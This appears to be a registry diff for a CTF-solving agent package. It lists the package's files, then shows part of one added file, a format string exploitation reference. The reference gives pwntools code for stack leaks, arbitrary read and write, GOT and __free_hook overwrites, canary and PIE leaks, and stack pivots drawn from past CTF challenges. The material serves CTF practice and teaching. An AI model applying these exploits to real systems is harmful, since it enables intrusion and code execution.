ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,694 @@
|
|
|
1
|
+
# CTF Pwn - Format String Exploitation
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Format String Basics](#format-string-basics)
|
|
5
|
+
- [Argument Retargeting (Non-Positional %n Trick)](#argument-retargeting-non-positional-n-trick)
|
|
6
|
+
- [Blind Pwn (No Binary Provided)](#blind-pwn-no-binary-provided)
|
|
7
|
+
- [Format String with Filter Bypass](#format-string-with-filter-bypass)
|
|
8
|
+
- [Format String Canary + PIE Leak](#format-string-canary--pie-leak)
|
|
9
|
+
- [__free_hook Overwrite via Format String (glibc < 2.34)](#__free_hook-overwrite-via-format-string-glibc--234)
|
|
10
|
+
- [.rela.plt / .dynsym Patching](#relaplt--dynsym-patching)
|
|
11
|
+
- [Format String for Game State Manipulation (UTCTF 2026)](#format-string-for-game-state-manipulation-utctf-2026)
|
|
12
|
+
- [Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)](#format-string-saved-ebp-overwrite-for-bss-pivot-plaidctf-2015)
|
|
13
|
+
- [argv\[0\] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)](#argv0-overwrite-for-stack-smash-info-leak-hitcon-ctf-2015)
|
|
14
|
+
- [Format String .fini_array Loop for Multi-Stage Exploitation (Codegate 2016)](#format-string-fini_array-loop-for-multi-stage-exploitation-codegate-2016)
|
|
15
|
+
- [__printf_chk Bypass with Sequential %p (VolgaCTF 2017)](#__printf_chk-bypass-with-sequential-p-volgactf-2017)
|
|
16
|
+
- [Leak + GOT Overwrite in Single printf Call (picoCTF 2017)](#leak--got-overwrite-in-single-printf-call-picoctf-2017)
|
|
17
|
+
- [Objective-C %@ Format Specifier Exploitation (SHA2017)](#objective-c--format-specifier-exploitation-sha2017)
|
|
18
|
+
- [strlen Integer Truncation Bypass (ASIS CTF Finals 2017)](#strlen-integer-truncation-bypass-asis-ctf-finals-2017)
|
|
19
|
+
- [printf_function_table Overwrite via Buffer Overflow (34C3 CTF 2017)](#printf_function_table-overwrite-via-buffer-overflow-34c3-ctf-2017)
|
|
20
|
+
- [scanf Format String on Stack Overwrite (TUCTF 2017)](#scanf-format-string-on-stack-overwrite-tuctf-2017)
|
|
21
|
+
- [Format String Exploit Through ROT13 Encoding (SunshineCTF 2018)](#format-string-exploit-through-rot13-encoding-sunshinectf-2018)
|
|
22
|
+
- [Format String in HTTP User-Agent for PIE Leak (X-MAS CTF 2018)](#format-string-in-http-user-agent-for-pie-leak-x-mas-ctf-2018)
|
|
23
|
+
- [Null-Byte Address Fragmentation in Small Buffers (FireShell 2019)](#null-byte-address-fragmentation-in-small-buffers-fireshell-2019)
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## Format String Basics
|
|
28
|
+
|
|
29
|
+
- Leak stack: `%p.%p.%p.%p.%p.%p`
|
|
30
|
+
- Leak specific offset: `%7$p`
|
|
31
|
+
- Write value: `%n` (4-byte), `%hn` (2-byte), `%hhn` (1-byte), `%lln` (8-byte)
|
|
32
|
+
- GOT overwrite for code execution
|
|
33
|
+
|
|
34
|
+
**Write size specifiers (x86-64):**
|
|
35
|
+
| Specifier | Bytes Written | Use Case |
|
|
36
|
+
|-----------|---------------|----------|
|
|
37
|
+
| `%n` | 4 | 32-bit values |
|
|
38
|
+
| `%hn` | 2 | Split writes |
|
|
39
|
+
| `%hhn` | 1 | Precise byte writes |
|
|
40
|
+
| `%lln` | 8 | Full 64-bit address (clears upper bytes) |
|
|
41
|
+
|
|
42
|
+
**IMPORTANT:** On x86-64, GOT entries are 8 bytes. Using `%n` (4-byte) leaves upper bytes with old libc address garbage. Use `%lln` to write full 8 bytes and zero upper bits.
|
|
43
|
+
|
|
44
|
+
**Arbitrary read primitive:**
|
|
45
|
+
```python
|
|
46
|
+
def arb_read(addr):
|
|
47
|
+
# %7$s reads string at address placed at offset 7
|
|
48
|
+
payload = flat({0: b'%7$s#', 8: addr})
|
|
49
|
+
io.sendline(payload)
|
|
50
|
+
return io.recvuntil(b'#')[:-1]
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Arbitrary write primitive:**
|
|
54
|
+
```python
|
|
55
|
+
from pwn import fmtstr_payload
|
|
56
|
+
payload = fmtstr_payload(offset, {target_addr: value})
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
**Manual GOT overwrite (x86-64):**
|
|
60
|
+
```python
|
|
61
|
+
# Format: %<value>c%<offset>$lln + padding + address
|
|
62
|
+
# Address at offset 8 when format is 16 bytes
|
|
63
|
+
|
|
64
|
+
win = 0x4011f6
|
|
65
|
+
target_got = 0x404018 # e.g., printf@GOT
|
|
66
|
+
|
|
67
|
+
fmt = f'%{win}c%8$lln'.encode() # Write 'win' chars then store to offset 8
|
|
68
|
+
fmt = fmt.ljust(16, b'X') # Pad to 16 bytes (2 qwords)
|
|
69
|
+
payload = fmt + p64(target_got) # Address lands at offset 6 + 16/8 = 8
|
|
70
|
+
|
|
71
|
+
# Note: This prints ~4MB of spaces - be patient waiting for output
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
**Offset calculation for addresses:**
|
|
75
|
+
- Buffer typically starts at offset 6 (after register args)
|
|
76
|
+
- If format string is padded to N bytes, addresses start at offset: `6 + N/8`
|
|
77
|
+
- Example: 16-byte format → addresses at offset 8
|
|
78
|
+
- Example: 32-byte format → addresses at offset 10
|
|
79
|
+
- Example: 64-byte format → addresses at offset 14
|
|
80
|
+
|
|
81
|
+
**Verify offset with test payload:**
|
|
82
|
+
```python
|
|
83
|
+
# Put known address after N-byte format, check with %<calculated_offset>$p
|
|
84
|
+
test = b'%8$p___XXXXXXXXX' # 16 bytes
|
|
85
|
+
payload = test + p64(0xDEADBEEF)
|
|
86
|
+
# Should print 0xdeadbeef if offset 8 is correct
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**GOT target selection:**
|
|
90
|
+
- If `exit@GOT` doesn't work, try other GOT entries
|
|
91
|
+
- `printf@GOT`, `puts@GOT`, `putchar@GOT` are good alternatives
|
|
92
|
+
- Target functions called AFTER the format string vulnerability
|
|
93
|
+
- Check call order in disassembly to pick best target
|
|
94
|
+
|
|
95
|
+
**Key insight:** Format string vulnerabilities are identified by sending `%p.%p.%p` as input -- if hex addresses appear in the output, the program passes user input directly as the format argument to `printf`/`sprintf`. This gives both arbitrary read (`%s` with a target address) and arbitrary write (`%n` family) primitives.
|
|
96
|
+
|
|
97
|
+
## Argument Retargeting (Non-Positional %n Trick)
|
|
98
|
+
|
|
99
|
+
Use this when you cannot embed addresses (input filtering, newline issues) but can still use `%n` and a stack pointer is available as an argument.
|
|
100
|
+
|
|
101
|
+
**Key idea:** Non-positional specifiers consume arguments in order. You can overwrite a *future* argument (which is itself a pointer) before it is used, then use it as an arbitrary write target.
|
|
102
|
+
|
|
103
|
+
**Why non-positional:** Positional formats (`%22$hn`) are cached up front by glibc, so changing the underlying stack slot after parsing won’t change the pointer. Non-positional `%n` avoids that cache.
|
|
104
|
+
|
|
105
|
+
**Workflow (example):**
|
|
106
|
+
1. Leak offsets: find a stack pointer argument you can overwrite (e.g., saved `rbp` on the stack).
|
|
107
|
+
2. Advance the argument index with `%c` (each `%c` consumes one argument).
|
|
108
|
+
3. Use `%n` to write a 4-byte value into that pointer slot (e.g., make arg22 point to `exit@GOT`).
|
|
109
|
+
4. Print additional chars and use `%hn` to write the low 2 bytes to the now-retargeted pointer.
|
|
110
|
+
|
|
111
|
+
**Pattern (conceptual):**
|
|
112
|
+
```text
|
|
113
|
+
%c%c%c...%c # consume args to reach pointer slot
|
|
114
|
+
%<big>c%n # overwrite pointer slot to target_addr (e.g., exit@GOT)
|
|
115
|
+
%<delta>c%hn # write low 2 bytes of win to that GOT entry
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
**Compute widths:**
|
|
119
|
+
- After writing `target_addr` with `%n`, the printed count is `C`.
|
|
120
|
+
- To write low 2 bytes `W` with `%hn`, print:
|
|
121
|
+
- `delta = (W - (C % 65536)) mod 65536`
|
|
122
|
+
|
|
123
|
+
**When it works well:**
|
|
124
|
+
- No PIE / Partial RELRO (GOT writable)
|
|
125
|
+
- You can afford large outputs (millions of chars)
|
|
126
|
+
|
|
127
|
+
**Stack layout discovery (find your input offset):**
|
|
128
|
+
```text
|
|
129
|
+
%1$p %2$p %3$p ... %50$p
|
|
130
|
+
```
|
|
131
|
+
- Your input appears at some offset (commonly 6-8)
|
|
132
|
+
- Canary: looks like `0x...00` (null byte at end)
|
|
133
|
+
- Saved RBP: stack address pattern
|
|
134
|
+
- Return address: code address (PIE or libc)
|
|
135
|
+
|
|
136
|
+
## Blind Pwn (No Binary Provided)
|
|
137
|
+
|
|
138
|
+
When no binary is given, use format strings to discover everything:
|
|
139
|
+
|
|
140
|
+
**1. Confirm vulnerability:**
|
|
141
|
+
```text
|
|
142
|
+
> %p-%p-%p-%p
|
|
143
|
+
0x563b6749100b-0x71-0xffffffff-0x7ffff9c37b80
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
**2. Discover protections by leaking stack:**
|
|
147
|
+
- Find canary (offset ~39, pattern `0x...00`)
|
|
148
|
+
- Find saved RBP (offset ~40, stack address)
|
|
149
|
+
- Find return address (offset ~41-43, code pointer)
|
|
150
|
+
|
|
151
|
+
**3. Identify PIE base:**
|
|
152
|
+
- Leak return address pointing into main/binary
|
|
153
|
+
- Subtract known offset to get base (may need guessing)
|
|
154
|
+
|
|
155
|
+
**4. Dump GOT to identify libc:**
|
|
156
|
+
```python
|
|
157
|
+
# Read GOT entries for known functions
|
|
158
|
+
puts_addr = arb_read(pie_base + got_puts_offset)
|
|
159
|
+
stack_chk_addr = arb_read(pie_base + got_stack_chk_offset)
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
**5. Cross-reference libc database:**
|
|
163
|
+
- https://libc.rip/
|
|
164
|
+
- Input multiple function addresses to identify exact libc version
|
|
165
|
+
|
|
166
|
+
**Key insight:** Blind pwn without a binary requires systematic discovery: leak stack values to find canary/PIE/libc pointers, use arbitrary read to dump GOT entries, cross-reference leaked addresses against libc databases to identify the exact version, then compute offsets for one_gadget or system().
|
|
167
|
+
|
|
168
|
+
**6. Calculate libc base:**
|
|
169
|
+
```python
|
|
170
|
+
# From leaked __libc_start_main return or similar
|
|
171
|
+
libc.address = leaked_ret_addr - known_offset
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
**Common stack offsets (x86_64):**
|
|
175
|
+
| Offset | Typical Content |
|
|
176
|
+
|--------|-----------------|
|
|
177
|
+
| 6-8 | User input buffer |
|
|
178
|
+
| ~39 | Stack canary |
|
|
179
|
+
| ~40 | Saved RBP |
|
|
180
|
+
| ~41-43 | Return address |
|
|
181
|
+
|
|
182
|
+
## Format String with Filter Bypass
|
|
183
|
+
|
|
184
|
+
**Pattern (Cvexec):** `filter_string()` strips `%` but skippable with `%%%p`.
|
|
185
|
+
|
|
186
|
+
**Filter bypass:** If filter checks adjacent chars after `%`:
|
|
187
|
+
- `%p` → filtered
|
|
188
|
+
- `%%p` → properly escaped (prints literal `%p`)
|
|
189
|
+
- `%%%p` → third `%` survives, prints stack value
|
|
190
|
+
|
|
191
|
+
**GOT overwrite via format string (byte-by-byte with `%hhn`):**
|
|
192
|
+
```python
|
|
193
|
+
# Write last 3 bytes of debug() addr to strcmp@GOT across 3 payloads
|
|
194
|
+
# Pad address to consistent stack offset (e.g., 14th position)
|
|
195
|
+
for byte_offset in range(3):
|
|
196
|
+
target = got_strcmp + byte_offset
|
|
197
|
+
byte_val = (debug_addr >> (byte_offset * 8)) & 0xff
|
|
198
|
+
# Calculate chars to print, accounting for previous output
|
|
199
|
+
payload = f"%%%dc%%%d$hhn" % (byte_val - prev_written, 14)
|
|
200
|
+
payload = payload.encode().ljust(48, b'X') + p64(target)
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
## Format String Canary + PIE Leak
|
|
204
|
+
|
|
205
|
+
**Pattern (My Little Pwny):** Format string vulnerability to leak canary and PIE base, then buffer overflow.
|
|
206
|
+
|
|
207
|
+
**Two-stage attack:**
|
|
208
|
+
```python
|
|
209
|
+
# Stage 1: Leak via format string
|
|
210
|
+
io.sendline(b'%39$p.%41$p') # Canary at offset 39, return addr at 41
|
|
211
|
+
leak = io.recvline()
|
|
212
|
+
canary = int(leak.split(b'.')[0], 16)
|
|
213
|
+
pie_base = int(leak.split(b'.')[1], 16) - known_offset
|
|
214
|
+
|
|
215
|
+
# Stage 2: Buffer overflow with known canary
|
|
216
|
+
win = pie_base + win_offset
|
|
217
|
+
payload = b'A' * buf_size + p64(canary) + p64(0) + p64(win)
|
|
218
|
+
io.sendline(payload)
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
## __free_hook Overwrite via Format String (glibc < 2.34)
|
|
222
|
+
|
|
223
|
+
**Pattern (Notetaker, PascalCTF 2026):** Full RELRO + No PIE + format string vulnerability. Can't overwrite GOT, but `__free_hook` is writable.
|
|
224
|
+
|
|
225
|
+
**Key insight:** `free(ptr)` passes `ptr` in `rdi` as first argument. If `__free_hook = system`, then `free("cat flag")` executes `system("cat flag")`.
|
|
226
|
+
|
|
227
|
+
```python
|
|
228
|
+
# 1. Leak libc via format string
|
|
229
|
+
p.sendline(b'%43$p') # __libc_start_main return address
|
|
230
|
+
libc_base = int(leaked, 16) - LIBC_START_MAIN_RET_OFFSET
|
|
231
|
+
|
|
232
|
+
# 2. Write system() address to __free_hook
|
|
233
|
+
free_hook = libc_base + libc.symbols['__free_hook']
|
|
234
|
+
system_addr = libc_base + libc.symbols['system']
|
|
235
|
+
payload = fmtstr_payload(8, {free_hook: system_addr}, write_size='byte')
|
|
236
|
+
|
|
237
|
+
# 3. Trigger: send command as menu input, program calls free(input_buffer)
|
|
238
|
+
p.sendline(b'cat flag') # free() → system("cat flag")
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
**When to use:** Full RELRO (no GOT overwrite) + glibc < 2.34 (hooks still exist). For glibc >= 2.34, hooks are removed - target return addresses or `_IO_FILE` structs instead.
|
|
242
|
+
|
|
243
|
+
## .rela.plt / .dynsym Patching
|
|
244
|
+
|
|
245
|
+
**When to use:** GOT addresses contain bad bytes (e.g., 0x0a with fgets), making direct GOT overwrite impossible. Requires `.rela.plt` and `.dynsym` in writable memory.
|
|
246
|
+
|
|
247
|
+
**Technique:** Patch `.rela.plt` relocation entry symbol index to point to different symbol, then patch `.dynsym` symbol's `st_value` with `win()` address. When the original function is called, dynamic linker reads patched relocation and jumps to `win()`.
|
|
248
|
+
|
|
249
|
+
```python
|
|
250
|
+
# Key addresses (from readelf -S)
|
|
251
|
+
REL_SYM_BYTE = 0x4006ec # .rela.plt[exit].r_info byte containing symbol index
|
|
252
|
+
STDOUT_STVAL_LO = 0x4004e8 # .dynsym[11].st_value low halfword
|
|
253
|
+
STDOUT_STVAL_HI = 0x4004ea # .dynsym[11].st_value high halfword
|
|
254
|
+
|
|
255
|
+
# Format string writes via %hhn (8-bit) and %hn (16-bit)
|
|
256
|
+
# 1. Write symbol index 0x0b to r_info byte
|
|
257
|
+
# 2. Write win() address low halfword to st_value
|
|
258
|
+
# 3. Write win() address high halfword to st_value+2
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
**When GOT has bad bytes but .rela.plt/.dynsym don't:** This technique bypasses all GOT byte restrictions since you never write to GOT directly.
|
|
262
|
+
|
|
263
|
+
**Key insight:** When GOT addresses contain bad bytes (e.g., `0x0a` with `fgets`), avoid writing to GOT directly. Instead, patch `.rela.plt` to redirect the relocation to a different `.dynsym` entry, then overwrite that symbol's `st_value` with the target address. The dynamic linker follows the patched chain on the next call.
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## Format String for Game State Manipulation (UTCTF 2026)
|
|
268
|
+
|
|
269
|
+
**Pattern (Small Blind):** Poker/card game where player name is vulnerable to format string. Stack contains pointers to game state variables (player chips, dealer chips). Write arbitrary values to win condition.
|
|
270
|
+
|
|
271
|
+
**Key insight:** `%n` writes the number of characters printed so far. Use `%Xc` to control that count, then `%N$n` to write to the Nth stack argument (which points to a game variable).
|
|
272
|
+
|
|
273
|
+
**Exploitation:**
|
|
274
|
+
```python
|
|
275
|
+
from pwn import *
|
|
276
|
+
|
|
277
|
+
p = remote('challenge.utctf.live', 7255)
|
|
278
|
+
p.recvuntil(b'Enter your name: ')
|
|
279
|
+
|
|
280
|
+
# %1000c prints 1000 chars (padding), then %7$n writes 1000 to stack pos 7
|
|
281
|
+
# Stack position 7 = pointer to player_chips variable
|
|
282
|
+
p.sendline(b'%1000c%7$n')
|
|
283
|
+
|
|
284
|
+
# Player now has 1000 chips → triggers win condition
|
|
285
|
+
# Collect flag from game output
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
**Discovery workflow:**
|
|
289
|
+
1. **Confirm format string:** Send `%p.%p.%p.%p` as name, check for hex leaks
|
|
290
|
+
2. **Map stack positions:** Try `%6$n`, `%7$n`, `%8$n` with different `%Xc` values
|
|
291
|
+
3. **Identify which variable changed:** Compare game output (chips, score, health) before/after
|
|
292
|
+
4. **Determine win condition:** May be `player_chips >= threshold` or `player > dealer`
|
|
293
|
+
5. **Craft winning payload:** Set player chips high (`%9999c%7$n`) or dealer chips to 0 (`%6$n`)
|
|
294
|
+
|
|
295
|
+
**Common game state patterns on stack:**
|
|
296
|
+
| Position | Typical Variable |
|
|
297
|
+
|----------|-----------------|
|
|
298
|
+
| 6 | Pointer to dealer/opponent state |
|
|
299
|
+
| 7 | Pointer to player state |
|
|
300
|
+
| 8-10 | Score, health, inventory |
|
|
301
|
+
|
|
302
|
+
**When `%n` writes to adjacent variables:** If player and dealer chips are adjacent in memory (4 bytes apart), positions N and N+1 point to them. Write 0 to dealer (`%N$n` with 0 chars printed) and high value to player (`%9999c%(N+1)$n`).
|
|
303
|
+
|
|
304
|
+
**Key insight:** Format string vulnerabilities in game binaries are simpler than typical pwn — you don't need shell, just manipulate game state to trigger the win condition. Map stack positions to game variables, then write the winning values.
|
|
305
|
+
|
|
306
|
+
---
|
|
307
|
+
|
|
308
|
+
## Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)
|
|
309
|
+
|
|
310
|
+
**Pattern (EBP):** Format string buffer is in `.bss` (fixed address) rather than on the stack. Classic `%n` arbitrary-write requires attacker addresses on the stack, which is impossible with `.bss` buffers. Instead, overwrite the saved EBP to redirect the function epilogue (`leave; ret`) to the `.bss` buffer.
|
|
311
|
+
|
|
312
|
+
**How `leave; ret` works:**
|
|
313
|
+
```asm
|
|
314
|
+
leave: mov esp, ebp ; esp = saved_ebp
|
|
315
|
+
pop ebp ; ebp = [saved_ebp]
|
|
316
|
+
ret: pop eip ; eip = [saved_ebp + 4]
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
**Exploit layout in `.bss` buffer at address `0x0804A080`:**
|
|
320
|
+
```text
|
|
321
|
+
[addr_of_buf-4][padding_to_write_value][%n][shellcode...]
|
|
322
|
+
```
|
|
323
|
+
Write `buf_addr - 4` (e.g., `0x0804A07C`) into saved EBP via `%n`. On function return, `leave` sets `esp = 0x0804A07C`, then `ret` jumps to the value at `0x0804A080` — the start of shellcode.
|
|
324
|
+
|
|
325
|
+
**Key insight:** When the format string buffer is at a fixed `.bss` address (not stack), overwrite saved EBP to pivot the stack into `.bss`. The `leave; ret` epilogue uses EBP to set ESP, so controlling EBP controls where `ret` reads EIP from. Place shellcode address (or ROP chain) at `buf_addr` and shellcode at `buf_addr + offset`.
|
|
326
|
+
|
|
327
|
+
---
|
|
328
|
+
|
|
329
|
+
## argv[0] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)
|
|
330
|
+
|
|
331
|
+
**Pattern (nanana):** When a stack canary is corrupted, glibc's `__stack_chk_fail` prints: `*** stack smashing detected ***: <argv[0]> terminated`. Since `argv[0]` is a pointer stored on the stack, overwriting it with the address of a secret (e.g., global password buffer) leaks the secret through the crash message.
|
|
332
|
+
|
|
333
|
+
**Attack steps:**
|
|
334
|
+
1. Overflow past the canary (deliberately corrupting it)
|
|
335
|
+
2. Continue overwriting the stack to reach `argv[0]` (pointer to program name)
|
|
336
|
+
3. Replace `argv[0]` with the address of the target data (e.g., `0x601090` = `g_password`)
|
|
337
|
+
4. The stack smash handler prints: `*** stack smashing detected ***: <password_contents>`
|
|
338
|
+
|
|
339
|
+
```python
|
|
340
|
+
# Overflow to overwrite argv[0] with address of global password
|
|
341
|
+
payload = b"A" * canary_offset # reach canary (deliberately corrupt it)
|
|
342
|
+
payload += b"B" * (argv0_offset - canary_offset) # padding to argv[0]
|
|
343
|
+
payload += p64(password_addr) # overwrite argv[0] -> password string
|
|
344
|
+
```
|
|
345
|
+
|
|
346
|
+
**Key insight:** A "failed" exploit that triggers `__stack_chk_fail` becomes an information leak when `argv[0]` is overwritten. This is useful as a first stage: leak a secret (password, canary, address), then use it in a second connection for the real exploit. Works because `argv` is stored on the stack above local variables.
|
|
347
|
+
|
|
348
|
+
---
|
|
349
|
+
|
|
350
|
+
## Format String .fini_array Loop for Multi-Stage Exploitation (Codegate 2016)
|
|
351
|
+
|
|
352
|
+
**Pattern:** When no GOT function is called after `printf()`, chain multiple format string writes across re-executions by overwriting `.fini_array` with `main()`:
|
|
353
|
+
|
|
354
|
+
1. **Stage 1:** Overwrite `.fini_array[0]` with `main()`, leak libc + stack pointers
|
|
355
|
+
2. **Stage 2:** Overwrite `printf@GOT` with `system()`, overwrite `__stack_chk_fail@GOT` with `main()`
|
|
356
|
+
3. **Stage 3:** Deliberately corrupt stack canary so `__stack_chk_fail` re-enters `main()`. Now `printf(input)` is `system(input)` -- send `/bin/sh`
|
|
357
|
+
|
